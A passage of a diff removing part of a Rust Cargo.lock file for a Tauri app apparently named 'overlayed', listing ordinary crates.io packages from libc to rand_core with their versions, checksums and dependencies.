-checksum = "6e9ec52138abedcc58dc17a7c6c0c00a2bdb4f3427c7f63fa97fd0d859155caf"
-dependencies = [
- "gtk-sys",
- "libloading",
- "once_cell",
-]
-
-[[package]]
-name = "libc"
-version = "0.2.157"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "374af5f94e54fa97cf75e945cce8a6b201e88a1a07e688b47dfd2a59c66dbd86"
-
-[[package]]
-name = "libloading"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f"
-dependencies = [
- "cfg-if",
- "winapi",
-]
-
-[[package]]
-name = "libredox"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d"
-dependencies = [
- "bitflags 2.6.0",
- "libc",
- "redox_syscall",
-]
-
-[[package]]
-name = "linux-raw-sys"
-version = "0.4.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89"
-
-[[package]]
-name = "lock_api"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
-dependencies = [
- "autocfg",
- "scopeguard",
-]
-
-[[package]]
-name = "log"
-version = "0.4.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
-dependencies = [
- "value-bag",
-]
-
-[[package]]
-name = "loom"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5"
-dependencies = [
- "cfg-if",
- "generator",
- "scoped-tls",
- "serde",
- "serde_json",
- "tracing",
- "tracing-subscriber",
-]
-
-[[package]]
-name = "mac"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4"
-
-[[package]]
-name = "malloc_buf"
-version = "0.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "markup5ever"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016"
-dependencies = [
- "log",
- "phf 0.10.1",
- "phf_codegen 0.10.0",
- "string_cache",
- "string_cache_codegen",
- "tendril",
-]
-
-[[package]]
-name = "matchers"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
-dependencies = [
- "regex-automata 0.1.10",
-]
-
-[[package]]
-name = "matches"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5"
-
-[[package]]
-name = "memchr"
-version = "2.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
-
-[[package]]
-name = "memoffset"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
-
-[[package]]
-name = "minisign-verify"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "933dca44d65cdd53b355d0b73d380a2ff5da71f87f036053188bf1eab6a19881"
-
-[[package]]
-name = "miniz_oxide"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8a240ddb74feaf34a79a7add65a741f3167852fba007066dcac1ca548d89c08"
-dependencies = [
- "adler",
- "simd-adler32",
-]
-
-[[package]]
-name = "mio"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80e04d1dcff3aae0704555fe5fee3bcfaf3d1fdf8a7e521d5b9d2b42acb52cec"
-dependencies = [
- "hermit-abi 0.3.9",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "muda"
-version = "0.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "86c410a9d21523a819e84881603fbc00331c8001eb899964952046671deddb9c"
-dependencies = [
- "cocoa 0.26.0",
- "crossbeam-channel",
- "dpi",
- "gtk",
- "keyboard-types",
- "objc",
- "once_cell",
- "png",
- "serde",
- "thiserror",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "ndk"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3f42e7bbe13d351b6bead8286a43aac9534b82bd3cc43e47037f012ebfd62d4"
-dependencies = [
- "bitflags 2.6.0",
- "jni-sys",
- "log",
- "ndk-sys",
- "num_enum",
- "raw-window-handle",
- "thiserror",
-]
-
-[[package]]
-name = "ndk-context"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b"
-
-[[package]]
-name = "ndk-sys"
-version = "0.6.0+11769913"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee6cda3051665f1fb8d9e08fc35c96d5a244fb1be711a03b71118828afc9a873"
-dependencies = [
- "jni-sys",
-]
-
-[[package]]
-name = "new_debug_unreachable"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"
-
-[[package]]
-name = "nix"
-version = "0.27.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
-dependencies = [
- "bitflags 2.6.0",
- "cfg-if",
- "libc",
- "memoffset",
-]
-
-[[package]]
-name = "nodrop"
-version = "0.1.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb"
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.46.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
-dependencies = [
- "overload",
- "winapi",
-]
-
-[[package]]
-name = "num-conv"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
-
-[[package]]
-name = "num-traits"
-version = "0.2.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "num_enum"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4e613fc340b2220f734a8595782c551f1250e969d87d3be1ae0579e8d4065179"
-dependencies = [
- "num_enum_derive",
-]
-
-[[package]]
-name = "num_enum_derive"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af1844ef2428cc3e1cb900be36181049ef3d3193c63e43026cfe202983b27a56"
-dependencies = [
- "proc-macro-crate 2.0.2",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "num_threads"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c7398b9c8b70908f6371f47ed36737907c87c52af34c268fed0bf0ceb92ead9"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "objc"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1"
-dependencies = [
- "malloc_buf",
- "objc_exception",
-]
-
-[[package]]
-name = "objc-foundation"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9"
-dependencies = [
- "block",
- "objc",
- "objc_id",
-]
-
-[[package]]
-name = "objc-sys"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cdb91bdd390c7ce1a8607f35f3ca7151b65afc0ff5ff3b34fa350f7d7c7e4310"
-
-[[package]]
-name = "objc2"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "46a785d4eeff09c14c487497c162e92766fbb3e4059a71840cecc03d9a50b804"
-dependencies = [
- "objc-sys",
- "objc2-encode",
-]
-
-[[package]]
-name = "objc2-app-kit"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e4e89ad9e3d7d297152b17d39ed92cd50ca8063a89a9fa569046d41568891eff"
-dependencies = [
- "bitflags 2.6.0",
- "block2",
- "libc",
- "objc2",
- "objc2-core-data",
- "objc2-core-image",
- "objc2-foundation",
- "objc2-quartz-core",
-]
-
-[[package]]
-name = "objc2-core-data"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "617fbf49e071c178c0b24c080767db52958f716d9eabdf0890523aeae54773ef"
-dependencies = [
- "bitflags 2.6.0",
- "block2",
- "objc2",
- "objc2-foundation",
-]
-
-[[package]]
-name = "objc2-core-image"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "55260963a527c99f1819c4f8e3b47fe04f9650694ef348ffd2227e8196d34c80"
-dependencies = [
- "block2",
- "objc2",
- "objc2-foundation",
- "objc2-metal",
-]
-
-[[package]]
-name = "objc2-encode"
-version = "4.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7891e71393cd1f227313c9379a26a584ff3d7e6e7159e988851f0934c993f0f8"
-
-[[package]]
-name = "objc2-foundation"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ee638a5da3799329310ad4cfa62fbf045d5f56e3ef5ba4149e7452dcf89d5a8"
-dependencies = [
- "bitflags 2.6.0",
- "block2",
- "dispatch",
- "libc",
- "objc2",
-]
-
-[[package]]
-name = "objc2-metal"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd0cba1276f6023976a406a14ffa85e1fdd19df6b0f737b063b95f6c8c7aadd6"
-dependencies = [
- "bitflags 2.6.0",
- "block2",
- "objc2",
- "objc2-foundation",
-]
-
-[[package]]
-name = "objc2-quartz-core"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e42bee7bff906b14b167da2bac5efe6b6a07e6f7c0a21a7308d40c960242dc7a"
-dependencies = [
- "bitflags 2.6.0",
- "block2",
- "objc2",
- "objc2-foundation",
- "objc2-metal",
-]
-
-[[package]]
-name = "objc_exception"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad970fb455818ad6cba4c122ad012fae53ae8b4795f86378bce65e4f6bab2ca4"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "objc_id"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b"
-dependencies = [
- "objc",
-]
-
-[[package]]
-name = "object"
-version = "0.36.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27b64972346851a39438c60b341ebc01bba47464ae329e55cf343eb93964efd9"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
-
-[[package]]
-name = "open"
-version = "5.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61a877bf6abd716642a53ef1b89fb498923a4afca5c754f9050b4d081c05c4b3"
-dependencies = [
- "is-wsl",
- "libc",
- "pathdiff",
-]
-
-[[package]]
-name = "option-ext"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
-
-[[package]]
-name = "ordered-stream"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50"
-dependencies = [
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "os_info"
-version = "3.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ae99c7fa6dd38c7cafe1ec085e804f8f555a2f8659b0dbe03f1f9963a9b51092"
-dependencies = [
- "log",
- "serde",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "os_pipe"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ffd2b0a5634335b135d5728d84c5e0fd726954b87111f7506a61c502280d982"
-dependencies = [
- "libc",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "overlayed"
-version = "0.0.0"
-dependencies = [
- "anyhow",
- "cocoa 0.26.0",
- "log",
- "objc",
- "serde",
- "serde_json",
- "system-notification",
- "tauri",
- "tauri-build",
- "tauri-nspanel",
- "tauri-plugin-fs",
- "tauri-plugin-http",
- "tauri-plugin-log",
- "tauri-plugin-os",
- "tauri-plugin-process",
- "tauri-plugin-shell",
- "tauri-plugin-single-instance",
- "tauri-plugin-updater",
- "tauri-plugin-websocket",
- "tauri-plugin-window-state",
- "tokio",
-]
-
-[[package]]
-name = "overload"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
-
-[[package]]
-name = "pango"
-version = "0.18.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4"
-dependencies = [
- "gio",
- "glib",
- "libc",
- "once_cell",
- "pango-sys",
-]
-
-[[package]]
-name = "pango-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "parking"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae"
-
-[[package]]
-name = "parking_lot"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27"
-dependencies = [
- "lock_api",
- "parking_lot_core",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8"
-dependencies = [
- "cfg-if",
- "libc",
- "redox_syscall",
- "smallvec",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "pathdiff"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd"
-
-[[package]]
-name = "percent-encoding"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
-
-[[package]]
-name = "phf"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12"
-dependencies = [
- "phf_macros 0.8.0",
- "phf_shared 0.8.0",
- "proc-macro-hack",
-]
-
-[[package]]
-name = "phf"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259"
-dependencies = [
- "phf_shared 0.10.0",
-]
-
-[[package]]
-name = "phf"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc"
-dependencies = [
- "phf_macros 0.11.2",
- "phf_shared 0.11.2",
-]
-
-[[package]]
-name = "phf_codegen"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815"
-dependencies = [
- "phf_generator 0.8.0",
- "phf_shared 0.8.0",
-]
-
-[[package]]
-name = "phf_codegen"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd"
-dependencies = [
- "phf_generator 0.10.0",
- "phf_shared 0.10.0",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526"
-dependencies = [
- "phf_shared 0.8.0",
- "rand 0.7.3",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6"
-dependencies = [
- "phf_shared 0.10.0",
- "rand 0.8.5",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0"
-dependencies = [
- "phf_shared 0.11.2",
- "rand 0.8.5",
-]
-
-[[package]]
-name = "phf_macros"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c"
-dependencies = [
- "phf_generator 0.8.0",
- "phf_shared 0.8.0",
- "proc-macro-hack",
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "phf_macros"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b"
-dependencies = [
- "phf_generator 0.11.2",
- "phf_shared 0.11.2",
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b"
-dependencies = [
- "siphasher",
-]
-
-[[package]]
-name = "pin-project"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bf43b791c5b9e34c3d182969b4abb522f9343702850a2e57f460d00d09b4b3"
-dependencies = [
- "pin-project-internal",
-]
-
-[[package]]
-name = "pin-project-internal"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2f38a4412a78282e09a2cf38d195ea5420d15ba0602cb375210efbc877243965"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "piper"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96c8c490f422ef9a4efd2cb5b42b76c8613d7e7dfc1caf667b8a3350a5acc066"
-dependencies = [
- "atomic-waker",
- "fastrand",
- "futures-io",
-]
-
-[[package]]
-name = "pkg-config"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec"
-
-[[package]]
-name = "plist"
-version = "1.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42cf17e9a1800f5f396bc67d193dc9411b59012a5876445ef450d449881e1016"
-dependencies = [
- "base64 0.22.1",
- "indexmap 2.4.0",
- "quick-xml",
- "serde",
- "time",
-]
-
-[[package]]
-name = "png"
-version = "0.17.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1"
-dependencies = [
- "bitflags 1.3.2",
- "crc32fast",
- "fdeflate",
- "flate2",
- "miniz_oxide",
-]
-
-[[package]]
-name = "polling"
-version = "3.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc2790cd301dec6cd3b7a025e4815cf825724a51c98dccfe6a3e55f05ffb6511"
-dependencies = [
- "cfg-if",
- "concurrent-queue",
- "hermit-abi 0.4.0",
- "pin-project-lite",
- "rustix",
- "tracing",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "powerfmt"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04"
-dependencies = [
- "zerocopy",
-]
-
-[[package]]
-name = "precomputed-hash"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c"
-
-[[package]]
-name = "proc-macro-crate"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919"
-dependencies = [
- "once_cell",
- "toml_edit 0.19.15",
-]
-
-[[package]]
-name = "proc-macro-crate"
-version = "2.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b00f26d3400549137f92511a46ac1cd8ce37cb5598a96d382381458b992a5d24"
-dependencies = [
- "toml_datetime",
- "toml_edit 0.20.2",
-]
-
-[[package]]
-name = "proc-macro-error"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
-dependencies = [
- "proc-macro-error-attr",
- "proc-macro2",
- "quote",
- "syn 1.0.109",
- "version_check",
-]
-
-[[package]]
-name = "proc-macro-error-attr"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
-dependencies = [
- "proc-macro2",
- "quote",
- "version_check",
-]
-
-[[package]]
-name = "proc-macro-hack"
-version = "0.5.20+deprecated"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068"
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.86"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "psl-types"
-version = "2.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac"
-
-[[package]]
-name = "ptr_meta"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0738ccf7ea06b608c10564b31debd4f5bc5e197fc8bfe088f68ae5ce81e7a4f1"
-dependencies = [
- "ptr_meta_derive",
-]
-
-[[package]]
-name = "ptr_meta_derive"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16b845dbfca988fa33db069c0e230574d15a3088f147a87b64c7589eb662c9ac"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "publicsuffix"
-version = "2.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96a8c1bda5ae1af7f99a2962e49df150414a43d62404644d98dd5c3a93d07457"
-dependencies = [
- "idna 0.3.0",
- "psl-types",
-]
-
-[[package]]
-name = "quick-xml"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d3a6e5838b60e0e8fa7a43f22ade549a37d61f8bdbe636d0d7816191de969c2"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "quinn"
-version = "0.11.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b22d8e7369034b9a7132bc2008cac12f2013c8132b45e0554e6e20e2617f2156"
-dependencies = [
- "bytes",
- "pin-project-lite",
- "quinn-proto",
- "quinn-udp",
- "rustc-hash",
- "rustls",
- "socket2",
- "thiserror",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "quinn-proto"
-version = "0.11.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba92fb39ec7ad06ca2582c0ca834dfeadcaf06ddfc8e635c80aa7e1c05315fdd"
-dependencies = [
- "bytes",
- "rand 0.8.5",
- "ring",
- "rustc-hash",
- "rustls",
- "slab",
- "thiserror",
- "tinyvec",
- "tracing",
-]
-
-[[package]]
-name = "quinn-udp"
-version = "0.5.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8bffec3605b73c6f1754535084a85229fa8a30f86014e6c81aeec4abb68b0285"
-dependencies = [
- "libc",
- "once_cell",
- "socket2",
- "tracing",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.36"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "radium"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09"
-
-[[package]]
-name = "rand"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
-dependencies = [
- "getrandom 0.1.16",
- "libc",
- "rand_chacha 0.2.2",
- "rand_core 0.5.1",
- "rand_hc",
- "rand_pcg",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha 0.3.1",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
-dependencies = [
- "getrandom 0.1.16",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
